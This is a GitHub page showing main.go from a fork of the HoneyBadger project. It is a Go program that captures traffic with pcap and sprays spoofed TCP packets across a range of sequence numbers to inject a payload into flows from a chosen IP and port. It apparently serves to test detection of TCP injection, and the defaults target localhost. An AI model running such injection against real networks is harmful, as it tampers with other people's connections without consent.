forked from david415/HoneyBadger
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
124 lines (112 loc) · 3.68 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
/*
* probabalistic/sloppy TCP stream injection based on observed TCP sequences
*
* Copyright (C) 2014, 2015 David Stainton
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package main
import (
"flag"
"fmt"
"github.com/david415/HoneyBadger/attack"
"github.com/david415/HoneyBadger/types"
"github.com/google/gopacket"
"github.com/google/gopacket/examples/util"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"log"
"net"
)
var iface = flag.String("i", "lo", "Interface to get packets from")
var filter = flag.String("f", "tcp", "BPF filter for pcap")
var snaplen = flag.Int("s", 65536, "SnapLen for pcap packet capture")
var serviceIPstr = flag.String("d", "127.0.0.1", "target TCP flows from this IP address")
var servicePort = flag.Int("e", 9666, "target TCP flows from this port")
func main() {
defer util.Run()()
var eth layers.Ethernet
var dot1q layers.Dot1Q
var ip4 layers.IPv4
var ip6 layers.IPv6
var ip6extensions layers.IPv6ExtensionSkipper
var tcp layers.TCP
var payload gopacket.Payload
decoded := make([]gopacket.LayerType, 0, 4)
// target/track all TCP flows from this TCP/IP service endpoint
trackedFlows := make(map[types.TcpIpFlow]int)
serviceIP := net.ParseIP(*serviceIPstr)
if serviceIP == nil {
panic(fmt.Sprintf("non-ip target: %q\n", serviceIPstr))
}
serviceIP = serviceIP.To4()
if serviceIP == nil {
panic(fmt.Sprintf("non-ipv4 target: %q\n", serviceIPstr))
}
streamInjector := attack.TCPStreamInjector{}
err := streamInjector.Init("0.0.0.0")
if err != nil {
panic(err)
}
streamInjector.Payload = []byte("meowmeowmeow")
handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever)
if err != nil {
log.Fatal("error opening pcap handle: ", err)
}
if err := handle.SetBPFFilter(*filter); err != nil {
log.Fatal("error setting BPF filter: ", err)
}
parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet,
ð, &dot1q, &ip4, &ip6, &ip6extensions, &tcp, &payload)
flow := &types.TcpIpFlow{}
log.Print("collecting packets...\n")
for {
data, ci, err := handle.ZeroCopyReadPacketData()
if err != nil {
log.Printf("error getting packet: %v %s", err, ci)
continue
}
err = parser.DecodeLayers(data, &decoded)
if err != nil {
log.Printf("error decoding packet: %v", err)
continue
}
// if we see a flow coming from the tcp/ip service we are watching
// then track how many packets we receive from each flow
if tcp.SrcPort == layers.TCPPort(*servicePort) && ip4.SrcIP.Equal(serviceIP) {
flow = types.NewTcpIpFlowFromLayers(ip4, tcp)
_, isTracked := trackedFlows[*flow]
if isTracked {
trackedFlows[*flow] += 1
} else {
trackedFlows[*flow] = 1
}
} else {
continue
}
// after 3 packets from a given flow then inject packets into the stream
if trackedFlows[*flow]%10 == 0 {
err = streamInjector.SetIPLayer(ip4)
if err != nil {
panic(err)
}
streamInjector.SetTCPLayer(tcp)
err = streamInjector.SpraySequenceRangePackets(tcp.Seq, 20)
if err != nil {
panic(err)
}
log.Print("packet spray sent!\n")
}
}
}